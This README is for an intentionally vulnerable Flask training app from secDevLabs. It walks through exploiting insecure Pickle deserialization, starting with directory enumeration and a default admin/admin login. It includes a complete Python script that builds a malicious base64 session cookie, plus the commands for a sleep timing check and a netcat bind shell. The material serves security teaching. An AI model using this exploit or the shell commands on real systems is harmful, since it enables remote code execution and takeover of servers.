This is a simple web application built with Flask that contains an example of an Insecure Deserialization vulnerability and, it's main goal, is to describe how a malicious user could exploit a vulnerability, intentionally installed on Amarelo Designs from secDevLabs, to obtain a blind remote code execution.
Serialization is the process of translating data structures, or object state, into a format that can be stored or transmitted and reconstructed later. Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.
The main goal of this app is to discuss how Insecure Deserialization vulnerabilities can be exploited and to encourage developers to send secDevLabs Pull Requests on how they would mitigate these flaws.
To start this intentionally insecure application, you will need Docker and Docker Compose. After forking secDevLabs, you must type the following commands to start:
cd secDevLabs/owasp-top10-2017-apps/a8/amarelo-designs
make install
Then simply visit localhost:5000 ! 😆
To properly understand how this application works, you can follow these simple steps:
- Visit the homepage!
- Have a look at the portfolio
Now that you know the purpose of this app, what could possibly go wrong? The following section describes how an attacker could identify and eventually find sensitive information about the app or it's users. We encourage you to follow these steps and try to reproduce them on your own to better understand the attack vector! 😜
It's possible to reach the server's web application from the HTTP port 5000, as shown by the image below:
Making use of the Dirb tool to search for webpages and a common directories wordlist, we were able to find /user
, /admin
and /console
, as shown by the picture below: (If you want to install Dirb for Mac OS, be sure to click here)
$ dirb http://localhost:5000 ./docs/common.txt
When accessed, the /admin
page exposes an authentication screen, as depicted by the image:
A quick test utilizing admin
as the credentials for the Username
and Password
fields, gives us acess to an Admin Dashboard, as shown below:
Now, using Burp Suite as proxy to intercept the login request, we can see that the app returns a session cookie, sessionId
, as depicted below:
After decoding the cookie, which is in base64, the following structure was found:
The structure found is very similar to the ones created with the Pickle function. We can be certain of that by having a look at the app's code. The hint is now confirmed, the app uses Pickle, as we can see from the image below:
If an attacker knew that the app uses Pickle
as the serialisation method, he/she could create a malicious cookie to take advantage of it and execute code remotely. An example of an exploit (serializaPickle.py) in Python 3 that could produce this cookie could be:
import pickle
import os
import base64
import sys
import requests
cmd = str(sys.argv[1])
url = str(sys.argv[2])
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd, ))
pickle_result = pickle.dumps(Exploit())
result = str(base64.b64encode(pickle_result), "utf-8")
print(result)
print(cmd)
print(url)
cookie = {'sessionId': result}
print(cookie)
r = requests.get(url, cookies=cookie)
In order to be certain that the app is exploitable, we will send a sleep command to make the app unresposive for 10 seconds. If the app takes 10 seconds to return our request, than it's confirmed, the app is exploitable. As we can see from the image below, the app takes some time to return our request, thus confirming that it is exploitable and confirming the remote code execution:
$ python3 serializaPickle.py "sleep 10" http://localhost:5000/user
In order to show how an attacker could have access to the server through a RCE, we will use the code depicted on the image below to create a bind shell on the server's 9051 port.
$ python3 serializaPickle.py "nc -lvp 9051 -e /bin/sh" http://localhost:5000/user
The code used above creates a bind shell on the server's port 9051, which is then listening for incoming connections. After that, the attacker can connect to that port using a simple netcat command, as shown below:
$ nc localhost 9051
How would you mitigate this vulnerability? After your changes, an attacker should not be able to:
- Execute code remotely through a serialization vulnerability
[Spoiler alert 🚨] To understand how this vulnerability can be mitigated, check out these pull requests!
We encourage you to contribute to SecDevLabs! Please check out the Contributing to SecDevLabs section for guidelines on how to proceed! 🎉